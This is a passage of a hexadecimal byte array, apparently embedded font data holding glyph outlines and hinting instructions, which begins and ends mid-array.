0x2,0x1,0x2f,0x3c,0xb2,0x3,0x0,0x1,0x10,0xc0,0xc0,0x0,0xb1,0x3,0x2,0x2f, + 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21,0x15,0x21,0x9,0x5, + 0x80,0xfa,0x77,0x2,0x32,0x82,0x0,0x0,0x1,0x0,0x67,0xfe,0x5f,0x1,0xd1,0x5, + 0x5d,0x0,0x11,0x0,0x51,0xb4,0x0,0xa,0x9,0x1,0x3,0x17,0x2f,0x3c,0xb3,0xe, + 0xd,0x5,0x1,0x10,0xc4,0xc4,0xc4,0xb1,0xf,0x5,0x10,0xcd,0x0,0xb3,0x1,0x1, + 0x3,0x0,0x13,0x10,0xc0,0x13,0xb3,0x1,0x9,0x1,0x0,0x13,0x10,0xc0,0x13,0xb6, + 0x1,0x1,0x0,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb6,0x1, + 0x1,0xa,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3,0x8,0x1, + 0x2,0x3,0x3f,0x3f,0x31,0x30,0x1,0x15,0x7,0x22,0x26,0x11,0x10,0x36,0x33,0x17, + 0x15,0x22,0x6,0x11,0x17,0x15,0x10,0x16,0x1,0xd1,0x26,0xe9,0x5b,0x5b,0xe9,0x26, + 0x92,0x39,0x1,0x39,0xfe,0xe2,0x82,0x1,0xfa,0x2,0x85,0x2,0x85,0xfa,0x1,0x82, + 0x92,0xfe,0x8a,0xf4,0xf5,0xfe,0x8b,0x92,0x0,0x0,0x1,0x0,0x66,0xfe,0x5f,0x1, + 0xd0,0x5,0x5d,0x0,0x11,0x0,0x51,0xb4,0x0,0xa,0x9,0x1,0x3,0x17,0x2f,0x3c, + 0xb3,0xf,0xe,0x5,0x1,0x10,0xc4,0xc4,0xc4,0xb1,0xd,0x5,0x10,0xcd,0x0,0xb3, + 0x1,0x9,0x3,0x0,0x13,0x10,0xc0,0x13,0xb3,0x1,0x1,0x1,0x0,0x13,0x10,0xc0, + 0x13,0xb6,0x1,0x1,0xa,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14, + 0xb6,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3, + 0x8,0x3,0x2,0x1,0x3f,0x3f,0x31,0x30,0x13,0x35,0x37,0x32,0x16,0x11,0x10,0x6, + 0x23,0x27,0x35,0x32,0x36,0x11,0x35,0x37,0x10,0x26,0x66,0x26,0xe9,0x5b,0x5b,0xe9, + 0x26,0x91,0x39,0x1,0x39,0x4,0xda,0x82,0x1,0xfa,0xfd,0x7b,0xfd,0x7b,0xfa,0x1, + 0x82,0x92,0x1,0x75,0xf5,0xf4,0x1,0x76,0x92,0x0,0x1,0x0,0x71,0xfe,0x66,0x1, + 0xce,0x5,0x55,0x0,0x7,0x0,0x30,0xb1,0x0,0x7,0x2f,0x3c,0xb4,0x6,0x5,0x2, + 0x1,0x3,0x17,0x2f,0x3c,0xb2,0x4,0x3,0x7,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1, + 0x3,0x2,0x1,0x0,0x1,0x0,0x7,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, + 0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x13,0x21,0x15,0x23,0x11,0x33,0x15,0x21,0x71, + 0x1,0x5d,0xc3,0xc3,0xfe,0xa3,0x5,0x55,0x74,0xf9,0xf9,0x74,0x0,0x0,0x1,0x0, + 0x69,0xfe,0x66,0x1,0xc6,0x5,0x55,0x0,0x7,0x0,0x30,0xb4,0x6,0x5,0x2,0x1, + 0x3,0x17,0x2f,0x3c,0xb1,0x0,0x7,0x2f,0x3c,0xb2,0x4,0x3,0x7,0x10,0xdd,0x3c, + 0x0,0x40,0xb,0x1,0x5,0x4,0x1,0x7,0x6,0x0,0x0,0x1,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x1,0x21,0x35,0x33,0x11, + 0x23,0x35,0x21,0x1,0xc6,0xfe,0xa3,0xc3,0xc3,0x1,0x5d,0xfe,0x66,0x74,0x6,0x7, + 0x74,0x0,0x2,0x0,0x75,0xff,0xf2,0x5,0x97,0x5,0x49,0x0,0x2a,0x0,0x33,0x0, + 0x8c,0xb0,0x3,0x2f,0xb6,0x0,0x2a,0x29,0x28,0x27,0x4,0x3,0x10,0x17,0xdd,0x3c, + 0xb7,0x33,0x2b,0x26,0x1c,0x14,0x12,0xd,0x27,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0xc0, + 0xc0,0xb2,0x7,0x6,0x3,0x10,0xc0,0xc0,0x40,0x9,0x1a,0x1b,0x1a,0x8,0x5,0x1, + 0x5,0x3,0x27,0x11,0x12,0x17,0x39,0x2f,0xb3,0x2e,0xd,0x23,0x14,0x10,0xcd,0x10, + 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x1c,0x1b,0x2f,0x3c,0xb6,0x1,0x1,0x7, + 0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xd,0x1,0x33,0x2a, + 0x29,0x28,0x27,0x8,0x6,0x5,0x8,0x1,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13, + 0xb5,0x2b,0x26,0x12,0x3,0x1b,0x1,0x11,0x12,0x17,0x39,0xb3,0x17,0x1,0xa,0x0, + 0x3f,0x3f,0xb3,0x31,0xa,0x20,0x17,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x1f, + 0x1,0x14,0x7,0x17,0x7,0x27,0x6,0x21,0x20,0x26,0x11,0x34,0x36,0x37,0x36,0x37, + 0x26,0x35,0x34,0x36,0x33,0x32,0x16,0x15,0x7,0x23,0x35,0x34,0x26,0x23,0x22,0x6, + 0x15,0x14,0x1f,0x1,0x1,0x3d,0x2,0x25,0xe,0x1,0x15,0x14,0x16,0x21,0x20,0x37, + 0x4,0x1e,0x98,0x1,0x1,0x10,0xef,0x54,0xca,0x55,0xfe,0x8b,0xfe,0x98,0xd2,0x61, + 0x8d,0xd,0x1c,0x7c,0xab,0xeb,0xe6,0xa8,0x2,0x97,0x52,0xa9,0x99,0x64,0x57,0x22, + 0x2,0x2,0xfd,0xce,0x9b,0x49,0x79,0x1,0x11,0x1,0x47,0x28,0x2,0x5b,0x24,0x45, + 0x6d,0x55,0xc5,0x6b,0xa7,0xb5,0xa0,0x1,0x13,0xb5,0x90,0x1d,0x3,0x6,0x68,0x87, + 0xbf,0x8b,0x88,0xba,0x55,0x33,0x98,0x4a,0x42,0x65,0x72,0x44,0x1c,0xfe,0x54,0x1c, + 0x38,0x46,0x81,0x22,0x5b,0x9f,0xd0,0x5d,0x92,0x0,0x2,0x0,0x9a,0xfe,0x77,0x4, + 0x4f,0x5,0x63,0x0,0x30,0x0,0x3e,0x0,0x5d,0x40,0xa,0x2b,0x29,0x27,0x1a,0x19, + 0x13,0x11,0xf,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2f,0xb7, + 0x3d,0x27,0x36,0xf,0x20,0x13,0x8,0x2b,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd, + 0x0,0xb1,0x1a,0x19,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xd,0x3b,0x34,0x1, + 0x1,0x3b,0x34,0x29,0x11,0x4,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39, + 0x13,0x14,0x2f,0x2f,0xb3,0x2e,0x1,0x16,0x3,0x3f,0x3f,0xb3,0x1d,0x16,0x5,0x2e, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23,0x27,0x34,0x26,0x23,0x22,0x6,0x15,0x14, + 0x1f,0x1,0x5,0x1e,0x1,0x15,0x14,0x7,0x16,0x15,0x14,0x6,0x21,0x20,0x26,0x35, + 0x33,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x27,0x25,0x2e,0x1,0x35,0x34,0x37, + 0x26,0x35,0x34,0x36,0x33,0x20,0x16,0x1,0x5,0x16,0x33,0x32,0x35,0x34,0x27,0x25, + 0x26,0x23,0x22,0x15,0x14,0x4,0x2f,0x86,0x1,0x72,0xc8,0xb8,0x62,0x64,0x58,0x1, + 0x32,0xaf,0x5b,0x84,0x87,0xb5,0xfe,0xd7,0xfe,0xdc,0xac,0x8a,0x63,0xcc,0xf7,0x79, + 0x41,0x7e,0xfe,0x5b,0x7d,0x4f,0x9c,0x67,0x99,0xf5,0x1,0x33,0x9f,0xfd,0x88,0x1, + 0x34,0x3d,0x29,0x76,0xa3,0xfe,0xd9,0x46,0x20,0x78,0x3,0xf9,0x38,0x70,0x40,0x3f, + 0x76,0x94,0x1f,0x1a,0x5b,0x33,0x5c,0x7d,0xd6,0x37,0x41,0xcd,0xde,0x88,0x8c,0xef, + 0xa7,0x52,0x48,0x92,0x61,0x43,0x22,0x6f,0x21,0x73,0x93,0xcc,0x24,0x42,0xaf,0xd0, + 0x83,0x7b,0xfc,0x9a,0x56,0x11,0xd1,0x64,0x30,0x57,0x15,0xc1,0x7e,0x0,0x1,0x0, + 0xec,0xfe,0x66,0x3,0xfb,0x5,0x55,0x0,0xb,0x0,0x46,0xb1,0x9,0x8,0x2f,0x3c, + 0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb5,0x0, + 0x5,0x4,0x1,0x3,0x6,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1,0x0,0xb,0x0,0x6, + 0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb4,0xa,0x9,0x2,0x1, + 0x3,0x17,0x2f,0x3c,0xb5,0x8,0x7,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0x31, + 0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x23,0x11,0x21,0x35,0x21,0x11,0x2,0xc2,0x1, + 0x39,0xfe,0xc7,0x9a,0xfe,0xc4,0x1,0x3c,0x5,0x55,0xfe,0x89,0x74,0xfa,0xfc,0x5, + 0x4,0x74,0x1,0x77,0x0,0x0,0x1,0x0,0xec,0xfe,0x66,0x3,0xfb,0x5,0x55,0x0, + 0x13,0x0,0x66,0xb4,0x11,0x10,0xd,0xc,0x3,0x17,0x2f,0x3c,0xb6,0x13,0x12,0xf, + 0xe,0xb,0xa,0x5,0x17,0x2f,0x3c,0xb4,0x7,0x6,0x3,0x2,0x3,0x17,0x2f,0x3c, + 0xb7,0x0,0x9,0x8,0x5,0x4,0x1,0x5,0xa,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1, + 0x0,0x13,0x0,0xa,0x9,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb4, + 0xc,0xb,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb4,0x12,0x11,0x2,0x1,0x3,0x17,0x2f, + 0x3c,0xb5,0x10,0xf,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb5,0xe,0xd,0x6, + 0x5,0x3,0x7,0x10,0x17,0xdd,0x3c,0x31,0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x21, + 0x15,0x21,0x11,0x23,0x11,0x21,0x35,0x21,0x11,0x21,0x35,0x21,0x11,0x2,0xc2,0x1, + 0x39,0xfe,0xc7,0x1,0x39,0xfe,0xc7,0x9a,0xfe,0xc4,0x1,0x3c,0xfe,0xc4,0x1,0x3c, + 0x5,0x55,0xfe,0x89,0x74,0xfc,0xe8,0x74,0xfe,0x88,0x1,0x78,0x74,0x3,0x18,0x74, + 0x1,0x77,0x0,0x0,0x1,0x1,0x7,0x2,0x9f,0x3,0xe2,0x5,0x55,0x0,0xe,0x0, + 0x66,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0xd,0xc,0xa,0x10,0xdd,0x3c,0xb5,0x9,0x8, + 0x7,0x6,0x5,0xa,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xb5,0xe,0x3,0x2,0x1,0x0, + 0xc,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xb2,0x4,0xc,0xa,0x11,0x12,0x39,0x0,0xb4, + 0x1,0xc,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0x40,0xc,0x1,0x1,0x6,0x5, + 0x4,0x3,0x2,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0x40,0xd,0x1,0xe,0xd,0xa,0x9,0x8,0x7,0x1,0x0,0x8,0xb,0x2,0x0,0x13, + 0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x5,0x17,0x7,0x27,0x7,0x27,0x37,0x25, + 0x37,0x5,0x11,0x33,0x11,0x25,0x3,0xe2,0xfe,0xe7,0xa7,0x50,0xaa,0xb7,0x50,0xaf, + 0xfe,0xe9,0x23,0x1,0x18,0x66,0x1,0x16,0x4,0x32,0x69,0xee,0x3c,0xf7,0xf7,0x3c, + 0xee,0x69,0x64,0x64,0x1,0x23,0xfe,0xdd,0x64,0x0,0x1,0x0,0x5d,0x3,0x33,0x0, + 0xe7,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x0,0xb7,0x1,0x0,0x1,0x1,0x3,0x2,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, + 0xcd,0x13,0x31,0x30,0x13,0x23,0x3,0x33,0xd3,0x63,0x13,0x8a,0x3,0x33,0x2,0x22, + 0x0,0x0,0x2,0x0,0x5d,0x3,0x33,0x2,0x22,0x5,0x55,0x0,0x3,0x0,0x7,0x0, + 0x32,0xb7,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x0,0x40,0xe,0x1,0x4,0x5,0x1,0x7,0x6,0x0,0x0,0x1,0x1,0x3, + 0x2,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd, + 0x13,0x31,0x30,0x13,0x23,0x3,0x33,0x1,0x23,0x3,0x33,0xd3,0x63,0x13,0x8a,0x1, + 0x28,0x63,0x14,0x8a,0x3,0x33,0x2,0x22,0xfd,0xde,0x2,0x22,0x0,0x0,0x2,0x0, + 0x52,0x0,0x15,0x4,0xb8,0x4,0xb8,0x0,0x2f,0x0,0x3a,0x0,0x89,0xb1,0x2,0x1, + 0x2f,0x3c,0xb2,0x0,0x2f,0x1,0x10,0xdd,0x3c,0xb4,0x39,0x2e,0x29,0x18,0x2f,0x10, + 0xc4,0xc4,0xc0,0xc4,0xb4,0x1e,0x13,0x12,0x3,0x1,0x10,0xc0,0xc0,0xc0,0xc4,0xb3, + 0x24,0x23,0x1,0x2f,0x11,0x12,0x39,0x39,0xb5,0x33,0x29,0xd,0x18,0x7,0x1e,0x10, + 0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x13,0x26,0x21,0x1, + 0x1,0x2f,0x2e,0x26,0x24,0x23,0x21,0x13,0x12,0x3,0x2,0xa,0x2,0x0,0x0,0x0, + 0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0xb5,0x1b,0x1,0x1b,0x1,0x0, + 0x1,0x11,0x14,0x12,0x39,0x14,0x2f,0xb3,0x2c,0x2,0x15,0x0,0x3f,0x3f,0x40,0xa, + 0x36,0x26,0x30,0x2c,0x10,0x15,0xa,0x1b,0x5,0x21,0x10,0xcd,0x10,0xcd,0x10,0xcd, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x11,0x17,0x14,0x33,0x32,0x11,0x10,0x26, + 0x21,0x20,0x6,0x11,0x10,0x16,0x21,0x20,0x37,0x17,0x6,0x21,0x20,0x26,0x11,0x10, + 0x36,0x21,0x20,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23,0x6,0x23,0x22,0x26,0x35, + 0x34,0x36,0x33,0x32,0x17,0x33,0x27,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35, + 0x34,0x3,0x45,0x66,0x2,0x53,0x63,0x86,0xfe,0xc3,0xfe,0x9e,0x97,0xa7,0x1,0x79, + 0x1,0x0,0x2c,0x44,0x3c,0xfe,0xbb,0xfe,0x75,0xd9,0xce,0x1,0x80,0x1,0x53,0xc5, + 0x4e,0x68,0x91,0x17,0x4,0x30,0xc3,0x96,0x70,0x71,0x98,0xb1,0x2b,0x3,0xc2,0x7a, + 0x46,0x46,0x70,0x87,0x44,0x3,0xc9,0xfe,0x29,0x2b,0x6c,0x1,0x5f,0x1,0x28,0x7d, + 0x94,0xfe,0xa6,0xfe,0x90,0xa4,0x52,0x31,0x69,0xd5,0x1,0x85,0x1,0x7d,0xcc,0xaa, + 0xfe,0xda,0xfe,0xf4,0xc9,0x6e,0x74,0x98,0xcc,0xc6,0x92,0x5e,0x16,0x64,0xaf,0xac, + 0x6d,0x71,0xe2,0xd9,0x0,0x0,0x2,0x0,0x5e,0x0,0x0,0x4,0x8b,0x5,0x55,0x0, + 0x1b,0x0,0x1f,0x0,0x8d,0x40,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a,0x19,0x18,0x17, + 0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7, + 0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x16,0x15,0x12,0x11,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0x8,0x7,0x4,0x3,0x3,0x17,0x2f,0x3c, + 0xb6,0xa,0x9,0x6,0x5,0x2,0x1,0x5,0x17,0x2f,0x3c,0xb6,0x18,0x17,0x14,0x13, + 0x10,0xf,0x5,0x17,0x2f,0x3c,0xb7,0x1c,0x1d,0x1a,0x19,0xe,0xd,0x5,0xf,0x10, + 0x17,0xdd,0x3c,0xb7,0x1f,0x1e,0x0,0x1b,0xc,0xb,0x5,0x1,0x10,0x17,0xdd,0x3c, + 0x31,0x30,0x1,0x7,0x23,0x3,0x23,0x13,0x21,0x3,0x23,0x13,0x23,0x37,0x33,0x13, + 0x23,0x37,0x33,0x13,0x33,0x3,0x21,0x13,0x33,0x3,0x33,0x7,0x23,0xb,0x1,0x21, + 0x3,0x21,0x4,0x4d,0x10,0xec,0x44,0x6d,0x45,0xfe,0xd0,0x44,0x6c,0x45,0xec,0xf, + 0xec,0x31,0xec,0x10,0xec,0x43,0x6c,0x44,0x1,0x2f,0x44,0x6d,0x44,0xea,0x10,0xea, + 0x30,0x3c,0xfe,0xd1,0x31,0x1,0x2f,0x2,0xd,0x5c,0xfe,0x4f,0x1,0xb1,0xfe,0x4f, + 0x1,0xb1,0x5c,0x1,0x40,0x5c,0x1,0xac,0xfe,0x54,0x1,0xac,0xfe,0x54,0x5c,0xfe, + 0xc0,0x1,0x40,0xfe,0xc0,0x0,0x2,0x0,0x5d,0x3,0x3d,0x2,0x90,0x5,0x65,0x0, + 0xb,0x0,0x13,0x0,0x2f,0xb1,0x9,0x3,0x2f,0x2f,0xb3,0x12,0x3,0xe,0x9,0x10, + 0xcd,0x10,0xcd,0x0,0xb7,0x6,0x1,0x1,0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14, + 0x12,0x39,0x13,0x14,0x2f,0xb1,0x0,0x1,0x3f,0xb3,0x10,0x6,0xc,0x0,0x10,0xcd, + 0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36, + 0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x1,0x77,0x74,0xa5,0xa5,0x74,0x75,0xa5, + 0xa5,0x75,0xc5,0xc5,0xc4,0x5,0x65,0xa2,0x72,0x72,0xa2,0xa2,0x72,0x73,0xa1,0x54, + 0xc0,0xc0,0xc0,0xc0,0x0,0x0,0x1,0x0,0x9b,0x0,0xd2,0x4,0x4d,0x4,0x84,0x0, + 0xb,0x0,0x3f,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f, + 0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x1,0x10,0x17,0xdd, + 0x3c,0x0,0xb1,0x0,0xb,0x2f,0x3c,0xb4,0x8,0x7,0x4,0x3,0x3,0x17,0x2f,0x3c, + 0xb1,0x6,0x5,0x2f,0x3c,0xb5,0xa,0x9,0x2,0x1,0x3,0x3,0x10,0x17,0xdd,0x3c, + 0x31,0x30,0x25,0x11,0x21,0x35,0x21,0x11,0x33,0x11,0x21,0x15,0x21,0x11,0x2,0x2e, + 0xfe,0x6d,0x1,0x93,0x8c,0x1,0x93,0xfe,0x6d,0xd2,0x1,0x97,0x82,0x1,0x99,0xfe, + 0x67,0x82,0xfe,0x69,0x0,0x0,0x3,0x0,0x9b,0x1,0x1,0x4,0x4d,0x4,0x55,0x0, + 0x7,0x0,0xf,0x0,0x13,0x0,0x45,0xb1,0x10,0x13,0x2f,0x3c,0xb1,0x12,0x11,0x2f, + 0x3c,0xb1,0xe,0x6,0x2f,0x2f,0xb3,0xa,0xe,0x2,0x6,0x10,0xcd,0x10,0xcd,0x0, + 0xb1,0x10,0x11,0x2f,0x3c,0xb2,0x13,0x12,0x11,0x10,0xdd,0x3c,0xb7,0xc,0x1,0x1, + 0xc,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x2f,0xb1,0x4,0x2, + 0x3f,0xb3,0x8,0xc,0x0,0x4,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x15,0x14, + 0x23,0x22,0x35,0x34,0x13,0x32,0x15,0x14,0x23,0x22,0x35,0x34,0x1,0x21,0x15,0x21, + 0x2,0x74,0x5d,0x5d,0x5c,0x5c,0x5d,0x5d,0x5c,0xfe,0x83,0x3,0xb2,0xfc,0x4e,0x4, + 0x55,0x5c,0x5d,0x5d,0x5c,0xfd,0x65,0x5c,0x5d,0x5d,0x5c,0x1,0x31,0x82,0x0,0x0, + 0x2,0x0,0x9b,0x1,0xbf,0x4,0x4d,0x3,0x96,0x0,0x3,0x0,0x7,0x0,0x2f,0xb1, + 0x0,0x3,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb1,0x6, + 0x5,0x2f,0x3c,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x3, + 0x2,0x1,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21, + 0x15,0x21,0x15,0x21,0x15,0x21,0x9b,0x3,0xb2,0xfc,0x4e,0x3,0xb2,0xfc,0x4e,0x3, + 0x96,0x82,0xd3,0x82,0x0,0x0,0x2,0xff,0xfd,0x2,0x4b,0x6,0x1a,0x5,0x55,0x0, + 0x7,0x0,0x29,0x0,0x98,0xb1,0x5,0x4,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1, + 0x7,0x6,0x2f,0x3c,0xb1,0x1f,0x1e,0x2f,0x3c,0xb1,0x8,0x9,0x2f,0x3c,0xb2,0x0, + 0x1,0x2,0x10,0xdd,0x3c,0xb6,0x1d,0x1c,0x1b,0x1a,0x19,0x4,0x1e,0x10,0x17,0xdd, + 0x3c,0xb6,0xe,0xd,0xc,0xb,0xa,0x4,0x9,0x10,0x17,0xdd,0x3c,0xb7,0x29,0x24, + 0x20,0x14,0x13,0x5,0xa,0x19,0x11,0x12,0x17,0x39,0x0,0x40,0xf,0x1,0x8,0x29, + 0x20,0x1f,0x0,0x0,0x7,0x4,0x3,0x1,0x6,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c, + 0xb6,0x1e,0x1d,0x14,0x13,0xa,0x9,0x5,0x17,0x2f,0x3c,0xb4,0x1,0x24,0x2,0x0, + 0x9,0x11,0x14,0x12,0x39,0x14,0x40,0xd,0x1,0x1c,0x1b,0x1a,0x19,0xe,0xd,0xc, + 0xb,0x8,0x1f,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x11,0x23, + 0x11,0x21,0x35,0x21,0x15,0x25,0x11,0x23,0x11,0x3d,0x2,0x6,0xf,0x2,0x1,0x23, + 0x1,0x2f,0x1,0x26,0x27,0x1d,0x2,0x11,0x23,0x11,0x33,0x13,0x1f,0x2,0x36,0x3f, + 0x2,0x13,0x1,0x65,0x66,0xfe,0xfe,0x2,0x69,0x3,0xb4,0x66,0x3,0x2,0x6,0x6, + 0xfe,0xf0,0x63,0xfe,0xf0,0x6,0x6,0x2,0x4,0x66,0xa6,0xd5,0x22,0x10,0xb,0x9, + 0x3,0x10,0x22,0xd4,0x4,0xf9,0xfd,0x52,0x2,0xae,0x5c,0x5c,0x5c,0xfc,0xf6,0x2, + 0x6a,0xf,0x1f,0xe,0x9,0x3,0xf,0xe,0xfd,0x83,0x2,0x75,0xc,0xe,0x4,0xb, + 0x12,0x11,0x11,0xfd,0x96,0x3,0xa,0xfe,0xd,0x50,0x28,0x1a,0x13,0x7,0x28,0x50, + 0x1,0xf3,0x0,0x0,0x1,0x0,0x60,0xfe,0x66,0x4,0x44,0x5,0x55,0x0,0x10,0x0, + 0x49,0xb1,0x4,0x3,0x2f,0x3c,0xb1,0x0,0x10,0x2f,0x3c,0xb2,0x6,0x5,0x3,0x10, + 0xdd,0x3c,0xb2,0x2,0x1,0x10,0x10,0xdd,0x3c,0xb4,0xf,0xe,0xb,0x7,0x5,0x10, + 0xc0,0xc4,0xc0,0xc0,0x0,0x40,0xe,0x1,0x3,0x2,0x1,0x10,0xf,0xe,0x0,0x0, + 0x5,0x4,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0x10, + 0xcd,0xcd,0x13,0xb1,0x7,0x6,0x2f,0x3c,0x31,0x30,0x1,0x23,0x11,0x23,0x11,0x23, + 0x11,0x23,0x27,0x22,0x26,0x35,0x34,0x36,0x3b,0x1,0x21,0x4,0x44,0x8c,0xa0,0x8c, + 0x50,0x2f,0xf8,0xb5,0xaa,0xe5,0x34,0x2,0x21,0xfe,0x66,0x6,0x6d,0xf9,0x93,0x3, + 0xb1,0x1,0xaa,0xe9,0xf5,0xb5,0x0,0x0,0x2,0x0,0x72,0x0,0xaa,0x4,0xe4,0x5, + 0x11,0x0,0x1b,0x0,0x27,0x0,0x73,0x40,0x12,0x1b,0x1a,0x16,0x15,0x14,0x13,0x11, + 0xf,0xe,0xd,0xc,0x8,0x7,0x6,0x5,0x3,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0xb3,0x25,0x11, + 0x1f,0x3,0x10,0xcd,0x10,0xcd,0x0,0x40,0x11,0x18,0x1,0x1,0x1b,0x1a,0x18,0x16, + 0x15,0x14,0x13,0x1,0x0,0x9,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39, + 0x13,0x14,0x2f,0x40,0x11,0xa,0x1,0x1,0xf,0xe,0xd,0xc,0xa,0x8,0x7,0x6, + 0x5,0x9,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0xb3, + 0x22,0x18,0x1c,0xa,0x10,0xcd,0x10,0xcd,0x31,0x30,0x3f,0x1,0x26,0x35,0x34,0x37, + 0x27,0x37,0x17,0x36,0x33,0x32,0x17,0x37,0x17,0x7,0x16,0x15,0x14,0x7,0x17,0x7, + 0x27,0x6,0x23,0x22,0x27,0x7,0x1,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35, + 0x34,0x26,0x77,0xbe,0x68,0x68,0xc3,0x50,0xc1,0x8f,0x9c,0x97,0x8b,0xc2,0x4f,0xc0, + 0x69,0x67,0xc1,0x4f,0xc1,0x89,0xa0,0x92,0x93,0xc0,0x1,0xe6,0x90,0xca,0xcb,0x8f, + 0x8e,0xcb,0xca,0xfa,0xc1,0x88,0x9a,0x98,0x8b,0xc1,0x50,0xc1,0x6b,0x6a,0xbf,0x4f, + 0xbf,0x8e,0x98,0x95,0x8c,0xc1,0x50,0xc1,0x69,0x69,0xc1,0x3,0x8f,0xcc,0x90,0x8e, + 0xcb,0xcb,0x8e,0x91,0xcb,0x0,0x1,0x0,0x6d,0xff,0x37,0x1,0x1b,0x0,0xb8,0x0, + 0xb,0x0,0x42,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1, + 